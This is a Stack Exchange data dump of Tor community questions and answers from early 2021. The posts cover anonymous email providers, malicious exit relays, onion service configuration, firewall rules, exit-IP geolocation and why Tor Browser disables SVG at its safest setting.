  <row Id="22182" PostTypeId="2" ParentId="4552" CreationDate="2021-03-22T20:40:52.103" Score="0" Body="&lt;p&gt;There are several great answers here. Another option is to use a free email service that provides an interface over TOR. Protonmail, Tutanota, Secmail, and Nextlinemail are all providers that offer this.&lt;/p&gt;&#xA;&lt;p&gt;Secmail and nextlinemail are completely free - no payment required to use them. Their webmail clients are only available over TOR.&lt;/p&gt;&#xA;&lt;p&gt;Disclaimer: I'm the operator of nextlinemail.&lt;/p&gt;&#xA;" OwnerUserId="32013" LastActivityDate="2021-03-22T20:40:52.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22183" PostTypeId="2" ParentId="14763" CreationDate="2021-03-22T20:43:28.647" Score="0" Body="&lt;p&gt;I'm the operator of nextlinemail. I can share how our service operates, but it may not be true of other services.&lt;/p&gt;&#xA;&lt;p&gt;Our webmail client is only available over TOR, via a .onion link. When you send email, however, we use a series of rotating relays to deliver the email to the clearnet. This email behaves exactly the same as normal email.&lt;/p&gt;&#xA;&lt;p&gt;When receiving email, the same is true. Our servers are accessable via the clearnet for other email relays to access. Email is delivered to your @nextlinemail.com email address over clearnet. You then access your email via TOR, through our webmail client.&lt;/p&gt;&#xA;&lt;p&gt;I believe this is a common pattern with other mail providers such as secmail, tutanota, and protonmail.&lt;/p&gt;&#xA;" OwnerUserId="32013" LastActivityDate="2021-03-22T20:43:28.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22184" PostTypeId="2" ParentId="19835" CreationDate="2021-03-22T20:47:13.293" Score="0" Body="&lt;p&gt;No, the exit node you're using does not make a difference which relay will be used to deliver your mail. The relay used is dependant on the service you are sending the mail with.&lt;/p&gt;&#xA;" OwnerUserId="32013" LastActivityDate="2021-03-22T20:47:13.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22185" PostTypeId="2" ParentId="6856" CreationDate="2021-03-22T20:56:43.597" Score="0" Body="&lt;p&gt;Gmail will conceal your IP address prior to sending your email address to the destination. Google will, however, know your IP address.&lt;/p&gt;&#xA;&lt;p&gt;There are free email providers that you can access over TOR. By using their webmail client, over TOR, they will not know your real IP address - only the IP address of the last node in the TOR chain.&lt;/p&gt;&#xA;&lt;p&gt;Several of these services exist. Protonmail and Tutanota are the two most popular services. Secmail.pro and nextlinemail.com are two additional services.&lt;/p&gt;&#xA;&lt;p&gt;Disclaimer: I'm the operator of nextlinemail&lt;/p&gt;&#xA;" OwnerUserId="32013" LastActivityDate="2021-03-22T20:56:43.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22186" PostTypeId="2" ParentId="15596" CreationDate="2021-03-22T21:14:55.803" Score="1" Body="&lt;p&gt;Tor is your best bet.&lt;/p&gt;&#xA;&lt;p&gt;There are free email providers that you can access over Tor. By using their webmail client, over Tor, they will not know your real IP address - only the IP address of the last node in the Tor chain.&lt;/p&gt;&#xA;&lt;p&gt;Several of these services exist. Protonmail and Tutanota are the two most popular services. Secmail.pro and nextlinemail.com are two additional services.&lt;/p&gt;&#xA;&lt;p&gt;Disclaimer: I'm the operator of nextlinemail&lt;/p&gt;&#xA;" OwnerUserId="32013" LastEditorUserId="88" LastEditDate="2021-04-06T19:58:21.493" LastActivityDate="2021-04-06T19:58:21.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22187" PostTypeId="5" CreationDate="2021-03-23T11:29:00.307" Score="0" Body="&lt;p&gt;Garlic Routing is a variant of Onion Routing which I2P (Invisible Internet Project) uses. The foundations of garlic routing and garlic encryption were developed by Michael Freedman and were improved and implemented by the developers of the I2P project.&lt;/p&gt;&#xA;&lt;p&gt;It encrypts multiple messages together to make it harder for attackers to analyze traffic. To protect the identity of the sender, messages are encrypted several times with the public keys of selected nodes on the network. To be given, the secure packets must be received by routers selected by the sender, in the order provided by the sender.&lt;/p&gt;&#xA;&lt;p&gt;Unlike onion routing, an encrypted packet can contain multiple packets (garlic cloves) with different destinations, and the sender is not required to specify a return path for the message.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-07T20:03:27.837" LastActivityDate="2021-04-07T20:03:27.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22188" PostTypeId="4" CreationDate="2021-03-23T11:29:00.307" Score="0" Body="Questions about garlic routing, how it used by the Invisible Internet Project (I2P), and garlic routing protocols." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-07T20:03:24.843" LastActivityDate="2021-04-07T20:03:24.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22192" PostTypeId="1" AcceptedAnswerId="22195" CreationDate="2021-03-24T21:45:31.333" Score="0" ViewCount="232" Body="&lt;p&gt;Apparently, the Tor network was infiltrated by hackers last year (&lt;a href=&quot;https://www.techradar.com/news/tor-browser-is-wrestling-with-a-major-security-problem&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techradar.com/news/tor-browser-is-wrestling-with-a-major-security-problem&lt;/a&gt;). According to the article, a group of hackers started operating malicious servers in the tor network. I read this today (I'm a new Tor user) and I was concerned.&lt;/p&gt;&#xA;&lt;p&gt;What's the status on this security issue? How has the Tor project been doing in stopping these hackers?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-24T22:22:55.223" LastActivityDate="2021-03-25T02:12:51.733" Title="The Tor network has been infiltrated by hackers?" Tags="|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22193" PostTypeId="1" CreationDate="2021-03-24T23:26:55.417" Score="0" ViewCount="3214" Body="&lt;p&gt;I received obsf4 bridges off of the tor site.&#xA;When inserting them into the tor configuration screen when tails boots up,&#xA;Tails is then stuck on &amp;quot;Connected to Bridge&amp;quot;.&#xA;The error that is given in the logs is &amp;quot;Generic Proxy Server Error&amp;quot;&#xA;How can I fix this?&lt;br /&gt;&#xA;Log :&lt;a href=&quot;https://pastebin.com/raw/VNcvkWUT&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/raw/VNcvkWUT&lt;/a&gt;&lt;br /&gt;&#xA;Images: &lt;a href=&quot;https://ibb.co/hd1QXGV&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/hd1QXGV&lt;/a&gt;&#xA;&lt;a href=&quot;https://ibb.co/mHc7PHs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/mHc7PHs&lt;/a&gt;  &lt;a href=&quot;https://ibb.co/12cMXLP&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/12cMXLP&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32026" LastEditorUserId="32026" LastEditDate="2021-03-25T11:47:18.563" LastActivityDate="2021-03-25T18:39:12.217" Title="How to use bridges on tails?" Tags="|tails|" AnswerCount="1" CommentCount="0" ClosedDate="2021-04-07T20:16:48.447" ContentLicense="CC BY-SA 4.0" />
  <row Id="22195" PostTypeId="2" ParentId="22192" CreationDate="2021-03-25T02:12:51.733" Score="0" Body="&lt;p&gt;The response from the Tor Project:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/bad-exit-relays-may-june-2020&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/bad-exit-relays-may-june-2020&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are two separate issues (1) Exit operators are performing SSL stripping, and (2) there are sybil attacks where malicious parties are running many Tor relays.&lt;/p&gt;&#xA;&lt;p&gt;SSL stripping is not something unique to Tor, and on the Internet it's up to the client and server to make sure they encrypt their communication properly. Since many websites don't follow best practices like using HSTS, and users don't always check to make sure they're using HTTPS, the Tor Browser might support an HTTPS-only mode sometime in the future that would prevent SSL stripping.&lt;/p&gt;&#xA;&lt;p&gt;Preventing malicious relays from joining the network is a difficult problem, but the Tor Project does monitor the network to try to identify malicious relays. The difficulty is that there's usually not a clear sign that a relay is behaving maliciously, or it may try to hide its behaviour. There may also be timing patterns to look for (for example if many relays joined the network at the same time, or all updated at the same time), but this is easy for an attacker to work around.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-03-25T02:12:51.733" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22196" PostTypeId="2" ParentId="22193" CreationDate="2021-03-25T18:39:12.217" Score="0" Body="&lt;p&gt;Set your time to london time.&#xA;Timezone is defaulted to london but the system clock does not synchronize without tor enabled.&lt;/p&gt;&#xA;" OwnerUserId="32026" LastActivityDate="2021-03-25T18:39:12.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22197" PostTypeId="1" CreationDate="2021-03-26T19:22:09.060" Score="0" ViewCount="33" Body="&lt;p&gt;I'm trying to connecting venify v2 domain with tor hidden_service. I'm using &lt;code&gt;eschalot&lt;/code&gt; and &lt;code&gt;shallot&lt;/code&gt; for generate domains. but when I change domain name in hostname and replace private_key. It stop working. when I restart tor service. hostname being replaced with v3 domain. I'm sorry for so basic question. Please help to connect v2 domain with hosting.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="32038" LastActivityDate="2021-03-27T20:35:34.630" Title="V2 Domain RSA Private not working" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22198" PostTypeId="1" CreationDate="2021-03-27T07:46:18.707" Score="1" ViewCount="1640" Body="&lt;p&gt;I would like to use the Tor browser, without the Tor Proxy and at the same time, still being able to use the regular Tor browser, Tor Proxy included.&lt;/p&gt;&#xA;&lt;p&gt;On both Ubuntu and Windows, I cannot run two instances of Tor. The &amp;quot;no multiple instances of Tor proxies at the same time rule&amp;quot; shouldn't (?) be relevant here.&lt;/p&gt;&#xA;&lt;p&gt;Running the following command&#xA;&lt;code&gt;TOR_TRANSPROXY=1  TOR_SKIP_LAUNCH=1 ./start-tor-browser.desktop&lt;/code&gt;&#xA;I can configure a Tor-less Tor browser. But I still need to do more steps (such as disabling network.proxy.socks_remote_dns , ...) and I would like to not to mess up my &amp;quot;regular Tor browser config&amp;quot; each time I want to connect to a Tor-hating website.&lt;/p&gt;&#xA;&lt;p&gt;Having an easy way to toggle on and off such configuration would be great but I don't know how to do it.&lt;/p&gt;&#xA;&lt;p&gt;Even better would be to :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;have a way to toggle that on and off&lt;/li&gt;&#xA;&lt;li&gt;AND being able to run the Tor browser and the Tor Browser + proxy at the same time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="32040" LastActivityDate="2021-12-25T04:04:35.490" Title="Have both a tor-less tor browser and a regular tor browser" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22201" PostTypeId="2" ParentId="22197" CreationDate="2021-03-27T20:35:34.630" Score="1" Body="&lt;p&gt;Depending on the tor version it is either hidden service v2 or v3 which is the default. And I think it is v3 in your case.&lt;/p&gt;&#xA;&lt;p&gt;Try putting:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceVersion 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in your hidden service definition and retry.&lt;/p&gt;&#xA;&lt;p&gt;Please also note that hidden service v2 support will be removed from tor network in the near future (this year if I remember correctly) so you should consider moving to v3 right now.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2021-03-27T20:35:34.630" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22202" PostTypeId="1" CreationDate="2021-03-28T02:47:30.977" Score="1" ViewCount="962" Body="&lt;p&gt;If tor and tor .onion sites are more private than clearnet, why does no online banking use .oinon or https .onion websites? Wouldn't internet banking want the most private websites available, or do banks need to be able to record clearnet IP's, as part of anti fraud measures.&lt;/p&gt;&#xA;" OwnerUserId="19153" LastActivityDate="2023-06-20T21:32:22.040" Title="internet banking over tor" Tags="|onion-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22203" PostTypeId="1" CreationDate="2021-03-29T16:31:50.387" Score="0" ViewCount="159" Body="&lt;p&gt;I am trying to set up a policies.json file and I can't get the sanitize option to work. I want it to clear download history but that isn't working. It isn't showing up under about:policies and when I tested it a download wasn't cleared. What am I doing wrong? I have this in the file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;SanitizeOnShutdown&amp;quot;: {&#xA;  &amp;quot;Downloads&amp;quot;: true,&#xA;  &amp;quot;Locked&amp;quot;: true&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know that the file is picky. I have the &amp;quot;Your browser is being managed by your organization.&amp;quot; link in settings so I know that the file is being applied. Please advise what is wrong. I am using windows.&lt;/p&gt;&#xA;" OwnerUserId="32061" LastActivityDate="2021-03-29T22:36:22.080" Title="sanitize using policies.json" Tags="|configuration|troubleshooting|exit-policies|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22205" PostTypeId="2" ParentId="22198" CreationDate="2021-03-29T22:38:43.203" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Can you just have two separate copies of Tor Browser in two separate directories, one with Tor disabled and one with the default configuration? That way when you change the configuration of one, the other stays the same.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I thought it wasn't possible at first because I couldn't launch 2 tor with different settings at the same time, even if I had one of them with the &lt;code&gt;TOR_TRANSPROXY=1  TOR_SKIP_LAUNCH=1&lt;/code&gt;. However, the reason was a bit more complicated then that.&lt;/p&gt;&#xA;&lt;p&gt;So I'll share everything I had to do here so if anyone wants to do the same.&#xA;(Works for both Windows and Linux[Ubuntu]) for Tor &amp;gt; 10.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have 2 separate folders with tor. One will be the regular Tor and will be kept untouched. The other one will be the tor browser without the Proxy.&lt;/li&gt;&#xA;&lt;li&gt;Go on the about:config tab in the browser and add the two following variables :&#xA;&lt;code&gt;TOR_TRANSPROXY=1  TOR_SKIP_LAUNCH=1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a firefox.cfg file. There are converters on the internet changing txt files into cfg easely. The following settings reset themselves if one just change them in the about:config tab, so we will need to lock them explicitly.&lt;/li&gt;&#xA;&lt;li&gt;Write the following inside of the file :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;lockPref(“network.proxy.type”, 0);&#xA;lockPref(“network.proxy.socks_remote_dns”, false);&#xA;lockPref(“extensions.torlauncher.start_tor”, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first line must always be commented for technical reasons. The second line indicates that we will use no proxy. I tried a value of 4 on windows (auto detect proxy) and it worked. It didn't on ubuntu and thus had to use 0 instead. I didn't need to set the &lt;code&gt;extensions.torlauncher.start_tor&lt;/code&gt; to false on windows for some reason, while I needed it on ubuntu.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Put the file into the same folder where the tor executable is located.&lt;/li&gt;&#xA;&lt;li&gt;Then go into the &amp;gt; defaults &amp;gt; pref folders&lt;/li&gt;&#xA;&lt;li&gt;Create a file named : &lt;code&gt;local-settings.js&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Paste the following into the file :&#xA;&lt;code&gt;pref(&amp;quot;general.config.filename&amp;quot;, &amp;quot;mozilla.cfg&amp;quot;);&lt;/code&gt;&#xA;Like that, we indicates to the browser that it needs to read and lock our preferences.&#xA;To check if it worked, go into about:config and search for the aforementioned locked preferences. They should be grayed out and changed to the value we described above.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This should normally be enough to have a Tor browser without the proxy. Having two separate folders is enough to not change the configuration of the other browser. If everything worked correctly, then it should be possible to launch both this browser and a regular instance of Tor (proxy enabled).&lt;/p&gt;&#xA;&lt;p&gt;I would link to the sources that helped me but I'm not sure if I'm allowed to post links.&lt;/p&gt;&#xA;" OwnerUserId="32065" LastActivityDate="2021-03-29T22:38:43.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22206" PostTypeId="1" CreationDate="2021-03-31T03:15:43.253" Score="1" ViewCount="2580" Body="&lt;p&gt;Would the following rules still allow Tor or would I need to add something? Also running DNScrypt with 1.1.1.1 in case that matters and I would also like to use a bridge.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;~$ sudo ufw allow out on &amp;lt;interface&amp;gt; to 1.1.1.1 proto udp port 53 comment 'allow DNS on &amp;lt;interface&amp;gt;'&#xA;~$ sudo ufw allow out on &amp;lt;interface&amp;gt; to any proto tcp port 80 comment 'allow HTTP on &amp;lt;interface&amp;gt;'&#xA;~$ sudo ufw allow out on &amp;lt;interface&amp;gt; to any proto tcp port 443 comment 'allow HTTPS on &amp;lt;interface&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="32001" LastEditorUserId="24966" LastEditDate="2021-04-01T02:51:12.320" LastActivityDate="2023-01-16T06:03:20.327" Title="UFW Rules and Tor" Tags="|configuration|onion-routing|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22207" PostTypeId="2" ParentId="22202" CreationDate="2021-03-31T09:34:45.033" Score="0" Body="&lt;p&gt;Banks are interested in &lt;em&gt;security&lt;/em&gt;, not in &lt;em&gt;privacy&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A bank needs to verify that someone trying to connect is really the account holder that they claim to be.  That can't be done privately.&lt;/p&gt;&#xA;&lt;p&gt;The whole point of Tor is to disguise your identity.  Anathema to banks.&lt;/p&gt;&#xA;" OwnerUserId="25432" LastActivityDate="2021-03-31T09:34:45.033" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22208" PostTypeId="5" CreationDate="2021-03-31T09:40:37.203" Score="0" Body="&lt;p&gt;For questions related to the use of Tor on the Android OS.&lt;br /&gt;&#xA;Android is an operating system for mobile devices developed and maintained by Google.&lt;/p&gt;&#xA;" OwnerUserId="25432" LastEditorUserId="25432" LastEditDate="2021-04-07T20:01:45.333" LastActivityDate="2021-04-07T20:01:45.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22209" PostTypeId="4" CreationDate="2021-03-31T09:40:37.203" Score="0" Body="An operating system, primarily for mobile devices, developed by Google." OwnerUserId="25432" LastEditorUserId="25432" LastEditDate="2021-04-07T20:02:31.600" LastActivityDate="2021-04-07T20:02:31.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22210" PostTypeId="2" ParentId="22206" CreationDate="2021-04-01T02:58:18.183" Score="0" Body="&lt;p&gt;No this will generally not allow Tor. Tor relays specify their own ports. There are some commonly used ports for OR ports (ex: 443, 9010, etc), but relays are free to choose any ports they want. Instead you should allow all outgoing connections from the tor process. Since the tor process runs as the debian-tor user on Debian-based systems, you could allow all outgoing connections from the debian-tor user. For example, something like &lt;a href=&quot;https://unix.stackexchange.com/questions/12499/iptables-pf-rule-to-only-allow-xy-application-user&quot;&gt;https://unix.stackexchange.com/questions/12499/iptables-pf-rule-to-only-allow-xy-application-user&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-04-01T02:58:18.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22211" PostTypeId="1" CreationDate="2021-04-01T03:03:33.323" Score="0" ViewCount="852" Body="&lt;p&gt;I have my web site and I got a complaint saying&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Why do I see prices in &amp;quot;EUR&amp;quot;, I'm using TOR.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I installed TOR and went to &lt;code&gt;whatismyipaddress.com&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It says &lt;code&gt;IPv4: 23.129.64.231&lt;/code&gt; - you are in Kentucky US. I tried it in a second window and got the same result. The IP changes over time but I always get to Kentucky US.&lt;/p&gt;&#xA;&lt;p&gt;I was surprised, because US users should get USD prices.&lt;/p&gt;&#xA;&lt;p&gt;From the same TOR browser I went to &lt;code&gt;google.com&lt;/code&gt; and it asked me something in German. I don't speak German. I only understand it was German, because in the bottom left corner it said &amp;quot;Deutschland&amp;quot;.&#xA;But if it was German, then EUR prices is fine.&lt;/p&gt;&#xA;&lt;p&gt;I modified my web site to see my IP address, and there I see &lt;code&gt;104.244.73.13&lt;/code&gt;&#xA;&lt;code&gt;Luxembourg, Mersch&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, what an I missing? When I use TOR, am I in Kentucky or in Germany or in Luxembourg?&lt;/p&gt;&#xA;&lt;p&gt;I keep refreshing it, and I'm getting the same results.&lt;/p&gt;&#xA;&lt;p&gt;Does it remember IPs for each tab?&lt;/p&gt;&#xA;" OwnerUserId="32075" LastEditorUserId="32075" LastEditDate="2021-04-01T04:36:58.483" LastActivityDate="2021-12-28T02:04:55.590" Title="Tor IP address and location" Tags="|ip-address|location|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22216" PostTypeId="2" ParentId="22211" CreationDate="2021-04-02T01:30:17.370" Score="0" Body="&lt;p&gt;First of all, thanks for trying to make your website better for Tor users :)&lt;/p&gt;&#xA;&lt;p&gt;When you use tor, it creates &amp;quot;anonymous connections&amp;quot; (circuits) through typically 3 proxies (relays) in the Tor network. These relays are located in about 80 countries, with exit relays (relays that exit the Tor network and connect to the destination website) in &lt;a href=&quot;https://metrics.torproject.org/bubbles.html#country-exits-only&quot; rel=&quot;nofollow noreferrer&quot;&gt;about 55 countries&lt;/a&gt;. As tor clients choose the relays they use mostly randomly, their exit relay can be in any of these countries. Your website sees the user connecting to your server from an IP address in any of these countries.&lt;/p&gt;&#xA;&lt;p&gt;The relays used by a Tor client change over time, and the Tor Browser uses a feature of the tor proxy called stream isolation to use different relays for connections to different domains. This means that in Tor Browser, two different websites will see the user connecting from different IP addresses, in possibly different countries. These IP addresses will also change over time or when the user restarts their browser.&lt;/p&gt;&#xA;&lt;p&gt;This is the good and bad side of privacy tools like Tor. The website doesn't know the user's real country (good for privacy), but the website can't provide country-specific information (bad for usability). It's often best for the website to allow the user to easily change their country/language/currency if it's incorrect.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I keep refreshing it, and I'm getting the same results.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Refreshing the page isn't enough to have Tor use a new circuit (with new relays). You need to restart the browser, or wait a few minutes before refreshing the page.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Does it remember IPs for each tab?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's per-domain and not per-tab, but I forget specifically what the stream isolation rules are in Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-04-02T01:30:17.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22220" PostTypeId="1" CreationDate="2021-04-04T17:25:02.837" Score="0" ViewCount="134" Body="&lt;p&gt;There are these &amp;quot;don't use tor for bittorent&amp;quot; and &amp;quot;bitcoin over tor is not a good idea&amp;quot; statements. I wonder if that is only valid because it is mixed traffic, where you have users with ip addresses and users with .onion addreses. This would mean that for the users with ip addreses you need to run the traffic over the limited exit nodes. But would a network for torrents or file storage or any kind which would require high traffic work over tor, if all peers run as hidden services with .onion addreses?&lt;/p&gt;&#xA;" OwnerUserId="32101" LastEditorUserId="32101" LastEditDate="2021-04-07T18:42:09.613" LastActivityDate="2021-04-14T15:56:53.410" Title="tor high traffic p2p" Tags="|torsocks|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22224" PostTypeId="2" ParentId="22202" CreationDate="2021-04-05T14:52:46.173" Score="1" Body="&lt;p&gt;Reason 1: Banks are businesses and need customers. Only a fraction of internet users use Tor hidden services and this would severely limit how many people use a bank's hidden service. Most people wouldn't go out of their way to download the Tor browser and try to find the bank. Operating the hidden service would be a waste of effort and time and wouldn't help the bank at all.&lt;/p&gt;&#xA;&lt;p&gt;Reason 2: One of the main reasons for a Tor hidden service is to either keep the hidden service anonymous/private, the client anonymous/private, or both. However, banks and their clients don't need to be anonymous/private, they just need to be secure and encrypted. Using HTTPS, secure connections and transactions, and removing vulnerabilities from the websites' code, etc. is what is truly required.&lt;/p&gt;&#xA;&lt;p&gt;Reason 3: Since Tor users are anonymous, spammers and cyber attackers could threaten the banks' hidden service. The bank would have put in additional effort into making sure only authentic users are accessing their hidden service such as by using a Captcha. Sure there are cyber attacks and spamming over the clearnet, but Tor can make some of these incidents untraceable.&lt;/p&gt;&#xA;&lt;p&gt;As you can see, banks don't need hidden services and operating one wouldn't really help their business.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-05T15:11:08.207" LastActivityDate="2021-04-05T15:11:08.207" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22226" PostTypeId="1" CreationDate="2021-04-06T08:25:00.363" Score="2" ViewCount="419" Body="&lt;p&gt;today i was thinking of situation: say i start tor browser and i browse internet with it. and later i start brave browser's window with tor. lets say i use both for different websites but simultaneously.&lt;/p&gt;&#xA;&lt;p&gt;do they both use same port on localhost? does that mean it somehow connects brave surfing with tor browser surfing? or does brave use different port to set up tor network access. or perhaps if 9150 is already in use by one of the browsers, second browser gonna use different port?&lt;/p&gt;&#xA;" OwnerUserId="32114" LastActivityDate="2021-04-07T23:42:42.910" Title="using tor broswer same time as brave with tor" Tags="|browsers|brave|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22229" PostTypeId="1" CreationDate="2021-04-06T11:03:29.690" Score="0" ViewCount="517" Body="&lt;p&gt;Refactoring a website to be compatible with &amp;quot;safest&amp;quot; setting, but wasn't able to find documentation of this feature.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Found how... &lt;code&gt;about:config&lt;/code&gt; =&amp;gt; &lt;code&gt;svg.disabled&lt;/code&gt; =&amp;gt; &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="32117" LastEditorUserId="32117" LastEditDate="2021-04-06T11:52:28.547" LastActivityDate="2021-04-06T18:56:55.410" Title="Why and how does Tor browser block SVG assets when set to safest?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22230" PostTypeId="2" ParentId="22229" CreationDate="2021-04-06T11:57:35.790" Score="0" Body="&lt;p&gt;Figured out why... see &lt;a href=&quot;https://www.fortinet.com/blog/threat-research/scalable-vector-graphics-attack-surface-anatomy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.fortinet.com/blog/threat-research/scalable-vector-graphics-attack-surface-anatomy&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In a nutshell, SVGs add a lot of attack surface including scripting and injection attacks.&lt;/p&gt;&#xA;" OwnerUserId="32117" LastActivityDate="2021-04-06T11:57:35.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22231" PostTypeId="2" ParentId="22229" CreationDate="2021-04-06T12:08:35.647" Score="1" Body="&lt;h3&gt;How the Tor browser disables SVG images:&lt;/h3&gt;&#xA;&lt;p&gt;The Tor browser design and implementation document states for the high security preference:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This security level inherits the preferences from the Medium level, and additionally disables remote fonts (noscript.forbidFonts), completely disables JavaScript (by unsetting noscript.globalHttpsWhitelist), &lt;strong&gt;and disables SVG images (svg.in-content.enabled).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;However, I have reason to believe this is false and this document is not up to date.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tor Browser now disables SVG images by setting  &lt;code&gt;svg.disabled&lt;/code&gt; to true. I verified this to be the case when I checked the status of &lt;code&gt;svg.disabled&lt;/code&gt;. It showed up as true for &lt;code&gt;safest&lt;/code&gt; security level and false for any other security level.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Why the Tor browser does this:&lt;/h3&gt;&#xA;&lt;p&gt;SVGs create vulnerabilities including XSS attacks (Cross-Site-Scripting), HTML injection, The Billion Laughs Attack, DOS attacks, etc.&lt;/p&gt;&#xA;&lt;p&gt;See more here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/11384/exploits-or-other-security-risks-with-svg-upload&quot;&gt;https://security.stackexchange.com/questions/11384/exploits-or-other-security-risks-with-svg-upload&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://medium.com/axdb/stored-cross-site-scripting-attacks-using-crafted-svg-images-1b09c9e727e4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://medium.com/axdb/stored-cross-site-scripting-attacks-using-crafted-svg-images-1b09c9e727e4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-06T18:56:55.410" LastActivityDate="2021-04-06T18:56:55.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
